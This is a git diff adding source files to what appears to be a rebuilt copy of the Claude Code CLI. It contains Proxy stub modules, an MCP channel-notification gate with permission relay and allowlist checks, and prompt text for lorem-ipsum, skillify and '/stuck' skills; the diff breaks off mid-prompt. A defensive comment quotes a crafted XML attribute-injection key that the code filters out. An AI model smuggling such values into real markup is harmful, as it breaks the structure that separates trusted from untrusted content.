+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/services/contextCollapse/index.ts b/cc-haha/src/services/contextCollapse/index.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/services/contextCollapse/index.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/services/lsp/types.ts b/cc-haha/src/services/lsp/types.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/services/lsp/types.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/services/mcp/channelNotification.ts b/cc-haha/src/services/mcp/channelNotification.ts
new file mode 100644
index 0000000..c4e79d7
--- /dev/null
+++ b/cc-haha/src/services/mcp/channelNotification.ts
@@ -0,0 +1,316 @@
+/**
+ * Channel notifications — lets an MCP server push user messages into the
+ * conversation. A "channel" (Discord, Slack, SMS, etc.) is just an MCP server
+ * that:
+ *   - exposes tools for outbound messages (e.g. `send_message`) — standard MCP
+ *   - sends `notifications/claude/channel` notifications for inbound — this file
+ *
+ * The notification handler wraps the content in a <channel> tag and
+ * enqueues it. SleepTool polls hasCommandsInQueue() and wakes within 1s.
+ * The model sees where the message came from and decides which tool to reply
+ * with (the channel's MCP tool, SendUserMessage, or both).
+ *
+ * feature('KAIROS') || feature('KAIROS_CHANNELS'). Runtime gate tengu_harbor.
+ * Requires claude.ai OAuth auth — API key users are blocked until
+ * console gets a channelsEnabled admin surface. Teams/Enterprise orgs
+ * must explicitly opt in via channelsEnabled: true in managed settings.
+ */
+
+import type { ServerCapabilities } from '@modelcontextprotocol/sdk/types.js'
+import { z } from 'zod/v4'
+import { type ChannelEntry, getAllowedChannels } from '../../bootstrap/state.js'
+import { CHANNEL_TAG } from '../../constants/xml.js'
+import {
+  getClaudeAIOAuthTokens,
+  getSubscriptionType,
+} from '../../utils/auth.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { parsePluginIdentifier } from '../../utils/plugins/pluginIdentifier.js'
+import { getSettingsForSource } from '../../utils/settings/settings.js'
+import { escapeXmlAttr } from '../../utils/xml.js'
+import {
+  type ChannelAllowlistEntry,
+  getChannelAllowlist,
+  isChannelsEnabled,
+} from './channelAllowlist.js'
+
+export const ChannelMessageNotificationSchema = lazySchema(() =>
+  z.object({
+    method: z.literal('notifications/claude/channel'),
+    params: z.object({
+      content: z.string(),
+      // Opaque passthrough — thread_id, user, whatever the channel wants the
+      // model to see. Rendered as attributes on the <channel> tag.
+      meta: z.record(z.string(), z.string()).optional(),
+    }),
+  }),
+)
+
+/**
+ * Structured permission reply from a channel server. Servers that support
+ * this declare `capabilities.experimental['claude/channel/permission']` and
+ * emit this event INSTEAD of relaying "yes tbxkq" as text via
+ * notifications/claude/channel. Explicit opt-in per server — a channel that
+ * just wants to relay text never becomes a permission surface by accident.
+ *
+ * The server parses the user's reply (spec: /^\s*(y|yes|n|no)\s+([a-km-z]{5})\s*$/i)
+ * and emits {request_id, behavior}. CC matches request_id against its
+ * pending map. Unlike the regex-intercept approach, text in the general
+ * channel can never accidentally match — approval requires the server
+ * to deliberately emit this specific event.
+ */
+export const CHANNEL_PERMISSION_METHOD =
+  'notifications/claude/channel/permission'
+export const ChannelPermissionNotificationSchema = lazySchema(() =>
+  z.object({
+    method: z.literal(CHANNEL_PERMISSION_METHOD),
+    params: z.object({
+      request_id: z.string(),
+      behavior: z.enum(['allow', 'deny']),
+    }),
+  }),
+)
+
+/**
+ * Outbound: CC → server. Fired from interactiveHandler.ts when a
+ * permission dialog opens and the server has declared the permission
+ * capability. Server formats the message for its platform (Telegram
+ * markdown, iMessage rich text, Discord embed) and sends it to the
+ * human. When the human replies "yes tbxkq", the server parses that
+ * against PERMISSION_REPLY_RE and emits the inbound schema above.
+ *
+ * Not a zod schema — CC SENDS this, doesn't validate it. A type here
+ * keeps both halves of the protocol documented side by side.
+ */
+export const CHANNEL_PERMISSION_REQUEST_METHOD =
+  'notifications/claude/channel/permission_request'
+export type ChannelPermissionRequestParams = {
+  request_id: string
+  tool_name: string
+  description: string
+  /** JSON-stringified tool input, truncated to 200 chars with …. Full
+   *  input is in the local terminal dialog; this is a phone-sized
+   *  preview. Server decides whether/how to show it. */
+  input_preview: string
+}
+
+/**
+ * Meta keys become XML attribute NAMES — a crafted key like
+ * `x="" injected="y` would break out of the attribute structure. Only
+ * accept keys that look like plain identifiers. This is stricter than
+ * the XML spec (which allows `:`, `.`, `-`) but channel servers only
+ * send `chat_id`, `user`, `thread_ts`, `message_id` in practice.
+ */
+const SAFE_META_KEY = /^[a-zA-Z_][a-zA-Z0-9_]*$/
+
+export function wrapChannelMessage(
+  serverName: string,
+  content: string,
+  meta?: Record<string, string>,
+): string {
+  const attrs = Object.entries(meta ?? {})
+    .filter(([k]) => SAFE_META_KEY.test(k))
+    .map(([k, v]) => ` ${k}="${escapeXmlAttr(v)}"`)
+    .join('')
+  return `<${CHANNEL_TAG} source="${escapeXmlAttr(serverName)}"${attrs}>\n${content}\n</${CHANNEL_TAG}>`
+}
+
+/**
+ * Effective allowlist for the current session. Team/enterprise orgs can set
+ * allowedChannelPlugins in managed settings — when set, it REPLACES the
+ * GrowthBook ledger (admin owns the trust decision). Undefined falls back
+ * to the ledger. Unmanaged users always get the ledger.
+ *
+ * Callers already read sub/policy for the policy gate — pass them in to
+ * avoid double-reading getSettingsForSource (uncached).
+ */
+export function getEffectiveChannelAllowlist(
+  sub: ReturnType<typeof getSubscriptionType>,
+  orgList: ChannelAllowlistEntry[] | undefined,
+): {
+  entries: ChannelAllowlistEntry[]
+  source: 'org' | 'ledger'
+} {
+  if ((sub === 'team' || sub === 'enterprise') && orgList) {
+    return { entries: orgList, source: 'org' }
+  }
+  return { entries: getChannelAllowlist(), source: 'ledger' }
+}
+
+export type ChannelGateResult =
+  | { action: 'register' }
+  | {
+      action: 'skip'
+      kind:
+        | 'capability'
+        | 'disabled'
+        | 'auth'
+        | 'policy'
+        | 'session'
+        | 'marketplace'
+        | 'allowlist'
+      reason: string
+    }
+
+/**
+ * Match a connected MCP server against the user's parsed --channels entries.
+ * server-kind is exact match on bare name; plugin-kind matches on the second
+ * segment of plugin:X:Y. Returns the matching entry so callers can read its
+ * kind — that's the user's trust declaration, not inferred from runtime shape.
+ */
+export function findChannelEntry(
+  serverName: string,
+  channels: readonly ChannelEntry[],
+): ChannelEntry | undefined {
+  // split unconditionally — for a bare name like 'slack', parts is ['slack']
+  // and the plugin-kind branch correctly never matches (parts[0] !== 'plugin').
+  const parts = serverName.split(':')
+  return channels.find(c =>
+    c.kind === 'server'
+      ? serverName === c.name
+      : parts[0] === 'plugin' && parts[1] === c.name,
+  )
+}
+
+/**
+ * Gate an MCP server's channel-notification path. Caller checks
+ * feature('KAIROS') || feature('KAIROS_CHANNELS') first (build-time
+ * elimination). Gate order: capability → runtime gate (tengu_harbor) →
+ * auth (OAuth only) → org policy → session --channels → allowlist.
+ * API key users are blocked at the auth layer — channels requires
+ * claude.ai auth; console orgs have no admin opt-in surface yet.
+ *
+ *   skip      Not a channel server, or managed org hasn't opted in, or
+ *             not in session --channels. Connection stays up; handler
+ *             not registered.
+ *   register  Subscribe to notifications/claude/channel.
+ *
+ * Which servers can connect at all is governed by allowedMcpServers —
+ * this gate only decides whether the notification handler registers.
+ */
+export function gateChannelServer(
+  serverName: string,
+  capabilities: ServerCapabilities | undefined,
+  pluginSource: string | undefined,
+): ChannelGateResult {
+  // Channel servers declare `experimental['claude/channel']: {}` (MCP's
+  // presence-signal idiom — same as `tools: {}`). Truthy covers `{}` and
+  // `true`; absent/undefined/explicit-`false` all fail. Key matches the
+  // notification method namespace (notifications/claude/channel).
+  if (!capabilities?.experimental?.['claude/channel']) {
+    return {
+      action: 'skip',
+      kind: 'capability',
+      reason: 'server did not declare claude/channel capability',
+    }
+  }
+
+  // Overall runtime gate. After capability so normal MCP servers never hit
+  // this path. Before auth/policy so the killswitch works regardless of
+  // session state.
+  if (!isChannelsEnabled()) {
+    return {
+      action: 'skip',
+      kind: 'disabled',
+      reason: 'channels feature is not currently available',
+    }
+  }
+
+  // OAuth-only. API key users (console) are blocked — there's no
+  // channelsEnabled admin surface in console yet, so the policy opt-in
+  // flow doesn't exist for them. Drop this when console parity lands.
+  if (!getClaudeAIOAuthTokens()?.accessToken) {
+    return {
+      action: 'skip',
+      kind: 'auth',
+      reason: 'channels requires claude.ai authentication (run /login)',
+    }
+  }
+
+  // Teams/Enterprise opt-in. Managed orgs must explicitly enable channels.
+  // Default OFF — absent or false blocks. Keyed off subscription tier, not
+  // "policy settings exist" — a team org with zero configured policy keys
+  // (remote endpoint returns 404) is still a managed org and must not fall
+  // through to the unmanaged path.
+  const sub = getSubscriptionType()
+  const managed = sub === 'team' || sub === 'enterprise'
+  const policy = managed ? getSettingsForSource('policySettings') : undefined
+  if (managed && policy?.channelsEnabled !== true) {
+    return {
+      action: 'skip',
+      kind: 'policy',
+      reason:
+        'channels not enabled by org policy (set channelsEnabled: true in managed settings)',
+    }
+  }
+
+  // User-level session opt-in. A server must be explicitly listed in
+  // --channels to push inbound this session — protects against a trusted
+  // server surprise-adding the capability.
+  const entry = findChannelEntry(serverName, getAllowedChannels())
+  if (!entry) {
+    return {
+      action: 'skip',
+      kind: 'session',
+      reason: `server ${serverName} not in --channels list for this session`,
+    }
+  }
+
+  if (entry.kind === 'plugin') {
+    // Marketplace verification: the tag is intent (plugin:slack@anthropic),
+    // the runtime name is just plugin:slack:X — could be slack@anthropic or
+    // slack@evil depending on what's installed. Verify they match before
+    // trusting the tag for the allowlist check below. Source is stashed on
+    // the config at addPluginScopeToServers — undefined (non-plugin server,
+    // shouldn't happen for plugin-kind entry) or @-less (builtin/inline)
+    // both fail the comparison.
+    const actual = pluginSource
+      ? parsePluginIdentifier(pluginSource).marketplace
+      : undefined
+    if (actual !== entry.marketplace) {
+      return {
+        action: 'skip',
+        kind: 'marketplace',
+        reason: `you asked for plugin:${entry.name}@${entry.marketplace} but the installed ${entry.name} plugin is from ${actual ?? 'an unknown source'}`,
+      }
+    }
+
+    // Approved-plugin allowlist. Marketplace gate already verified
+    // tag == reality, so this is a pure entry check. entry.dev (per-entry,
+    // not the session-wide bit) bypasses — so accepting the dev dialog for
+    // one entry doesn't leak allowlist-bypass to --channels entries.
+    if (!entry.dev) {
+      const { entries, source } = getEffectiveChannelAllowlist(
+        sub,
+        policy?.allowedChannelPlugins,
+      )
+      if (
+        !entries.some(
+          e => e.plugin === entry.name && e.marketplace === entry.marketplace,
+        )
+      ) {
+        return {
+          action: 'skip',
+          kind: 'allowlist',
+          reason:
+            source === 'org'
+              ? `plugin ${entry.name}@${entry.marketplace} is not on your org's approved channels list (set allowedChannelPlugins in managed settings)`
+              : `plugin ${entry.name}@${entry.marketplace} is not on the approved channels allowlist (use --dangerously-load-development-channels for local dev)`,
+        }
+      }
+    }
+  } else {
+    // server-kind: allowlist schema is {marketplace, plugin} — a server entry
+    // can never match. Without this, --channels server:plugin:foo:bar would
+    // match a plugin's runtime name and register with no allowlist check.
+    if (!entry.dev) {
+      return {
+        action: 'skip',
+        kind: 'allowlist',
+        reason: `server ${entry.name} is not on the approved channels allowlist (use --dangerously-load-development-channels for local dev)`,
+      }
+    }
+  }
+
+  return { action: 'register' }
+}
diff --git a/cc-haha/src/skills/bundled/claude-api/java/claude-api.md b/cc-haha/src/skills/bundled/claude-api/java/claude-api.md
new file mode 100644
index 0000000..7a4d285
--- /dev/null
+++ b/cc-haha/src/skills/bundled/claude-api/java/claude-api.md
@@ -0,0 +1,2 @@
+<!-- @generated stub from scan-missing-imports -->
+stub
diff --git a/cc-haha/src/skills/bundled/claude-api/python/agent-sdk/patterns.md b/cc-haha/src/skills/bundled/claude-api/python/agent-sdk/patterns.md
new file mode 100644
index 0000000..7a4d285
--- /dev/null
+++ b/cc-haha/src/skills/bundled/claude-api/python/agent-sdk/patterns.md
@@ -0,0 +1,2 @@
+<!-- @generated stub from scan-missing-imports -->
+stub
diff --git a/cc-haha/src/skills/bundled/loremIpsum.ts b/cc-haha/src/skills/bundled/loremIpsum.ts
new file mode 100644
index 0000000..053306c
--- /dev/null
+++ b/cc-haha/src/skills/bundled/loremIpsum.ts
@@ -0,0 +1,282 @@
+import { registerBundledSkill } from '../bundledSkills.js'
+
+// Verified 1-token words (tested via API token counting)
+// All common English words confirmed to tokenize as single tokens
+const ONE_TOKEN_WORDS = [
+  // Articles & pronouns
+  'the',
+  'a',
+  'an',
+  'I',
+  'you',
+  'he',
+  'she',
+  'it',
+  'we',
+  'they',
+  'me',
+  'him',
+  'her',
+  'us',
+  'them',
+  'my',
+  'your',
+  'his',
+  'its',
+  'our',
+  'this',
+  'that',
+  'what',
+  'who',
+  // Common verbs
+  'is',
+  'are',
+  'was',
+  'were',
+  'be',
+  'been',
+  'have',
+  'has',
+  'had',
+  'do',
+  'does',
+  'did',
+  'will',
+  'would',
+  'can',
+  'could',
+  'may',
+  'might',
+  'must',
+  'shall',
+  'should',
+  'make',
+  'made',
+  'get',
+  'got',
+  'go',
+  'went',
+  'come',
+  'came',
+  'see',
+  'saw',
+  'know',
+  'take',
+  'think',
+  'look',
+  'want',
+  'use',
+  'find',
+  'give',
+  'tell',
+  'work',
+  'call',
+  'try',
+  'ask',
+  'need',
+  'feel',
+  'seem',
+  'leave',
+  'put',
+  // Common nouns & adjectives
+  'time',
+  'year',
+  'day',
+  'way',
+  'man',
+  'thing',
+  'life',
+  'hand',
+  'part',
+  'place',
+  'case',
+  'point',
+  'fact',
+  'good',
+  'new',
+  'first',
+  'last',
+  'long',
+  'great',
+  'little',
+  'own',
+  'other',
+  'old',
+  'right',
+  'big',
+  'high',
+  'small',
+  'large',
+  'next',
+  'early',
+  'young',
+  'few',
+  'public',
+  'bad',
+  'same',
+  'able',
+  // Prepositions & conjunctions
+  'in',
+  'on',
+  'at',
+  'to',
+  'for',
+  'of',
+  'with',
+  'from',
+  'by',
+  'about',
+  'like',
+  'through',
+  'over',
+  'before',
+  'between',
+  'under',
+  'since',
+  'without',
+  'and',
+  'or',
+  'but',
+  'if',
+  'than',
+  'because',
+  'as',
+  'until',
+  'while',
+  'so',
+  'though',
+  'both',
+  'each',
+  'when',
+  'where',
+  'why',
+  'how',
+  // Common adverbs
+  'not',
+  'now',
+  'just',
+  'more',
+  'also',
+  'here',
+  'there',
+  'then',
+  'only',
+  'very',
+  'well',
+  'back',
+  'still',
+  'even',
+  'much',
+  'too',
+  'such',
+  'never',
+  'again',
+  'most',
+  'once',
+  'off',
+  'away',
+  'down',
+  'out',
+  'up',
+  // Tech/common words
+  'test',
+  'code',
+  'data',
+  'file',
+  'line',
+  'text',
+  'word',
+  'number',
+  'system',
+  'program',
+  'set',
+  'run',
+  'value',
+  'name',
+  'type',
+  'state',
+  'end',
+  'start',
+]
+
+function generateLoremIpsum(targetTokens: number): string {
+  let tokens = 0
+  let result = ''
+
+  while (tokens < targetTokens) {
+    // Sentence: 10-20 words
+    const sentenceLength = 10 + Math.floor(Math.random() * 11)
+    let wordsInSentence = 0
+
+    for (let i = 0; i < sentenceLength && tokens < targetTokens; i++) {
+      const word =
+        ONE_TOKEN_WORDS[Math.floor(Math.random() * ONE_TOKEN_WORDS.length)]
+      result += word
+      tokens++
+      wordsInSentence++
+
+      if (i === sentenceLength - 1 || tokens >= targetTokens) {
+        result += '. '
+      } else {
+        result += ' '
+      }
+    }
+
+    // Paragraph break every 5-8 sentences (roughly 20% chance per sentence)
+    if (wordsInSentence > 0 && Math.random() < 0.2 && tokens < targetTokens) {
+      result += '\n\n'
+    }
+  }
+
+  return result.trim()
+}
+
+export function registerLoremIpsumSkill(): void {
+  if (process.env.USER_TYPE !== 'ant') {
+    return
+  }
+
+  registerBundledSkill({
+    name: 'lorem-ipsum',
+    description:
+      'Generate filler text for long context testing. Specify token count as argument (e.g., /lorem-ipsum 50000). Outputs approximately the requested number of tokens. Ant-only.',
+    argumentHint: '[token_count]',
+    userInvocable: true,
+    async getPromptForCommand(args) {
+      const parsed = parseInt(args)
+
+      if (args && (isNaN(parsed) || parsed <= 0)) {
+        return [
+          {
+            type: 'text',
+            text: 'Invalid token count. Please provide a positive number (e.g., /lorem-ipsum 10000).',
+          },
+        ]
+      }
+
+      const targetTokens = parsed || 10000
+
+      // Cap at 500k tokens for safety
+      const cappedTokens = Math.min(targetTokens, 500_000)
+
+      if (cappedTokens < targetTokens) {
+        return [
+          {
+            type: 'text',
+            text: `Requested ${targetTokens} tokens, but capped at 500,000 for safety.\n\n${generateLoremIpsum(cappedTokens)}`,
+          },
+        ]
+      }
+
+      const loremText = generateLoremIpsum(cappedTokens)
+
+      // Just dump the lorem ipsum text into the conversation
+      return [
+        {
+          type: 'text',
+          text: loremText,
+        },
+      ]
+    },
+  })
+}
diff --git a/cc-haha/src/skills/bundled/skillify.ts b/cc-haha/src/skills/bundled/skillify.ts
new file mode 100644
index 0000000..daf9529
--- /dev/null
+++ b/cc-haha/src/skills/bundled/skillify.ts
@@ -0,0 +1,197 @@
+import { getSessionMemoryContent } from '../../services/SessionMemory/sessionMemoryUtils.js'
+import type { Message } from '../../types/message.js'
+import { getMessagesAfterCompactBoundary } from '../../utils/messages.js'
+import { registerBundledSkill } from '../bundledSkills.js'
+
+function extractUserMessages(messages: Message[]): string[] {
+  return messages
+    .filter((m): m is Extract<typeof m, { type: 'user' }> => m.type === 'user')
+    .map(m => {
+      const content = m.message.content
+      if (typeof content === 'string') return content
+      return content
+        .filter(
+          (b): b is Extract<typeof b, { type: 'text' }> => b.type === 'text',
+        )
+        .map(b => b.text)
+        .join('\n')
+    })
+    .filter(text => text.trim().length > 0)
+}
+
+const SKILLIFY_PROMPT = `# Skillify {{userDescriptionBlock}}
+
+You are capturing this session's repeatable process as a reusable skill.
+
+## Your Session Context
+
+Here is the session memory summary:
+<session_memory>
+{{sessionMemory}}
+</session_memory>
+
+Here are the user's messages during this session. Pay attention to how they steered the process, to help capture their detailed preferences in the skill:
+<user_messages>
+{{userMessages}}
+</user_messages>
+
+## Your Task
+
+### Step 1: Analyze the Session
+
+Before asking any questions, analyze the session to identify:
+- What repeatable process was performed
+- What the inputs/parameters were
+- The distinct steps (in order)
+- The success artifacts/criteria (e.g. not just "writing code," but "an open PR with CI fully passing") for each step
+- Where the user corrected or steered you
+- What tools and permissions were needed
+- What agents were used
+- What the goals and success artifacts were
+
+### Step 2: Interview the User
+
+You will use the AskUserQuestion to understand what the user wants to automate. Important notes:
+- Use AskUserQuestion for ALL questions! Never ask questions via plain text.
+- For each round, iterate as much as needed until the user is happy.
+- The user always has a freeform "Other" option to type edits or feedback -- do NOT add your own "Needs tweaking" or "I'll provide edits" option. Just offer the substantive choices.
+
+**Round 1: High level confirmation**
+- Suggest a name and description for the skill based on your analysis. Ask the user to confirm or rename.
+- Suggest high-level goal(s) and specific success criteria for the skill.
+
+**Round 2: More details**
+- Present the high-level steps you identified as a numbered list. Tell the user you will dig into the detail in the next round.
+- If you think the skill will require arguments, suggest arguments based on what you observed. Make sure you understand what someone would need to provide.
+- If it's not clear, ask if this skill should run inline (in the current conversation) or forked (as a sub-agent with its own context). Forked is better for self-contained tasks that don't need mid-process user input; inline is better when the user wants to steer mid-process.
+- Ask where the skill should be saved. Suggest a default based on context (repo-specific workflows → repo, cross-repo personal workflows → user). Options:
+  - **This repo** (\`.claude/skills/<name>/SKILL.md\`) — for workflows specific to this project
+  - **Personal** (\`~/.claude/skills/<name>/SKILL.md\`) — follows you across all repos
+
+**Round 3: Breaking down each step**
+For each major step, if it's not glaringly obvious, ask:
+- What does this step produce that later steps need? (data, artifacts, IDs)
+- What proves that this step succeeded, and that we can move on?
+- Should the user be asked to confirm before proceeding? (especially for irreversible actions like merging, sending messages, or destructive operations)
+- Are any steps independent and could run in parallel? (e.g., posting to Slack and monitoring CI at the same time)
+- How should the skill be executed? (e.g. always use a Task agent to conduct code review, or invoke an agent team for a set of concurrent steps)
+- What are the hard constraints or hard preferences? Things that must or must not happen?
+
+You may do multiple rounds of AskUserQuestion here, one round per step, especially if there are more than 3 steps or many clarification questions. Iterate as much as needed.
+
+IMPORTANT: Pay special attention to places where the user corrected you during the session, to help inform your design.
+
+**Round 4: Final questions**
+- Confirm when this skill should be invoked, and suggest/confirm trigger phrases too. (e.g. For a cherrypick workflow you could say: Use when the user wants to cherry-pick a PR to a release branch. Examples: 'cherry-pick to release', 'CP this PR', 'hotfix.')
+- You can also ask for any other gotchas or things to watch out for, if it's still unclear.
+
+Stop interviewing once you have enough information. IMPORTANT: Don't over-ask for simple processes!
+
+### Step 3: Write the SKILL.md
+
+Create the skill directory and file at the location the user chose in Round 2.
+
+Use this format:
+
+\`\`\`markdown
+---
+name: {{skill-name}}
+description: {{one-line description}}
+allowed-tools:
+  {{list of tool permission patterns observed during session}}
+when_to_use: {{detailed description of when Claude should automatically invoke this skill, including trigger phrases and example user messages}}
+argument-hint: "{{hint showing argument placeholders}}"
+arguments:
+  {{list of argument names}}
+context: {{inline or fork -- omit for inline}}
+---
+
+# {{Skill Title}}
+Description of skill
+
+## Inputs
+- \`$arg_name\`: Description of this input
+
+## Goal
+Clearly stated goal for this workflow. Best if you have clearly defined artifacts or criteria for completion.
+
+## Steps
+
+### 1. Step Name
+What to do in this step. Be specific and actionable. Include commands when appropriate.
+
+**Success criteria**: ALWAYS include this! This shows that the step is done and we can move on. Can be a list.
+
+IMPORTANT: see the next section below for the per-step annotations you can optionally include for each step.
+
+...
+\`\`\`
+
+**Per-step annotations**:
+- **Success criteria** is REQUIRED on every step. This helps the model understand what the user expects from their workflow, and when it should have the confidence to move on.
+- **Execution**: \`Direct\` (default), \`Task agent\` (straightforward subagents), \`Teammate\` (agent with true parallelism and inter-agent communication), or \`[human]\` (user does it). Only needs specifying if not Direct.
+- **Artifacts**: Data this step produces that later steps need (e.g., PR number, commit SHA). Only include if later steps depend on it.
+- **Human checkpoint**: When to pause and ask the user before proceeding. Include for irreversible actions (merging, sending messages), error judgment (merge conflicts), or output review.
+- **Rules**: Hard rules for the workflow. User corrections during the reference session can be especially useful here.
+
+**Step structure tips:**
+- Steps that can run concurrently use sub-numbers: 3a, 3b
+- Steps requiring the user to act get \`[human]\` in the title
+- Keep simple skills simple -- a 2-step skill doesn't need annotations on every step
+
+**Frontmatter rules:**
+- \`allowed-tools\`: Minimum permissions needed (use patterns like \`Bash(gh:*)\` not \`Bash\`)
+- \`context\`: Only set \`context: fork\` for self-contained skills that don't need mid-process user input.
+- \`when_to_use\` is CRITICAL -- tells the model when to auto-invoke. Start with "Use when..." and include trigger phrases. Example: "Use when the user wants to cherry-pick a PR to a release branch. Examples: 'cherry-pick to release', 'CP this PR', 'hotfix'."
+- \`arguments\` and \`argument-hint\`: Only include if the skill takes parameters. Use \`$name\` in the body for substitution.
+
+### Step 4: Confirm and Save
+
+Before writing the file, output the complete SKILL.md content as a yaml code block in your response so the user can review it with proper syntax highlighting. Then ask for confirmation using AskUserQuestion with a simple question like "Does this SKILL.md look good to save?" — do NOT use the body field, keep the question concise.
+
+After writing, tell the user:
+- Where the skill was saved
+- How to invoke it: \`/{{skill-name}} [arguments]\`
+- That they can edit the SKILL.md directly to refine it
+`
+
+export function registerSkillifySkill(): void {
+  if (process.env.USER_TYPE !== 'ant') {
+    return
+  }
+
+  registerBundledSkill({
+    name: 'skillify',
+    description:
+      "Capture this session's repeatable process into a skill. Call at end of the process you want to capture with an optional description.",
+    allowedTools: [
+      'Read',
+      'Write',
+      'Edit',
+      'Glob',
+      'Grep',
+      'AskUserQuestion',
+      'Bash(mkdir:*)',
+    ],
+    userInvocable: true,
+    disableModelInvocation: true,
+    argumentHint: '[description of the process you want to capture]',
+    async getPromptForCommand(args, context) {
+      const sessionMemory =
+        (await getSessionMemoryContent()) ?? 'No session memory available.'
+      const userMessages = extractUserMessages(
+        getMessagesAfterCompactBoundary(context.messages),
+      )
+
+      const userDescriptionBlock = args
+        ? `The user described this process as: "${args}"`
+        : ''
+
+      const prompt = SKILLIFY_PROMPT.replace('{{sessionMemory}}', sessionMemory)
+        .replace('{{userMessages}}', userMessages.join('\n\n---\n\n'))
+        .replace('{{userDescriptionBlock}}', userDescriptionBlock)
+
+      return [{ type: 'text', text: prompt }]
+    },
+  })
+}
diff --git a/cc-haha/src/skills/bundled/stuck.ts b/cc-haha/src/skills/bundled/stuck.ts
new file mode 100644
index 0000000..ffb57ab
--- /dev/null
+++ b/cc-haha/src/skills/bundled/stuck.ts
@@ -0,0 +1,79 @@
+import { registerBundledSkill } from '../bundledSkills.js'
+
+// Prompt text contains `ps` commands as instructions for Claude to run,
+// not commands this file executes.
+// eslint-disable-next-line custom-rules/no-direct-ps-commands
+const STUCK_PROMPT = `# /stuck — diagnose frozen/slow Claude Code sessions
+
+The user thinks another Claude Code session on this machine is frozen, stuck, or very slow. Investigate and post a report to #claude-code-feedback.
+
+## What to look for
+
+Scan for other Claude Code processes (excluding the current one — PID is in \`process.pid\` but for shell commands just exclude the PID you see running this prompt). Process names are typically \`claude\` (installed) or \`cli\` (native dev build).
+
+Signs of a stuck session:
+- **High CPU (≥90%) sustained** — likely an infinite loop. Sample twice, 1-2s apart, to confirm it's not a transient spike.
+- **Process state \`D\` (uninterruptible sleep)** — often an I/O hang. The \`state\` column in \`ps\` output; first character matters (ignore modifiers like \`+\`, \`s\`, \`<\`).
+- **Process state \`T\` (stopped)** — user probably hit Ctrl+Z by accident.
+- **Process state \`Z\` (zombie)** — parent isn't reaping.
+- **Very high RSS (≥4GB)** — possible memory leak making the session sluggish.
+- **Stuck child process** — a hung \`git\`, \`node\`, or shell subprocess can freeze the parent. Check \`pgrep -lP <pid>\` for each session.
+
+## Investigation steps
+
+1. **List all Claude Code processes** (macOS/Linux):
+   \`\`\`
+   ps -axo pid=,pcpu=,rss=,etime=,state=,comm=,command= | grep -E '(claude|cli)' | grep -v grep
+   \`\`\`
+   Filter to rows where \`comm\` is \`claude\` or (\`cli\` AND the command path contains "claude").
+
+2. **For anything suspicious**, gather more context:
+   - Child processes: \`pgrep -lP <pid>\`
+   - If high CPU: sample again after 1-2s to confirm it's sustained
+   - If a child looks hung (e.g., a git command), note its full command line with \`ps -p <child_pid> -o command=\`
+   - Check the session's debug log if you can infer the session ID: \`~/.claude/debug/<session-id>.txt\` (the last few hundred lines often show what it was doing before hanging)
+
+3. **Consider a stack dump** for a truly frozen process (advanced, optional):
+   - macOS: \`sample <pid> 3\` gives a 3-second native stack sample
+   - This is big — only grab it if the process is clearly hung and you want to know *why*
+
+## Report
+
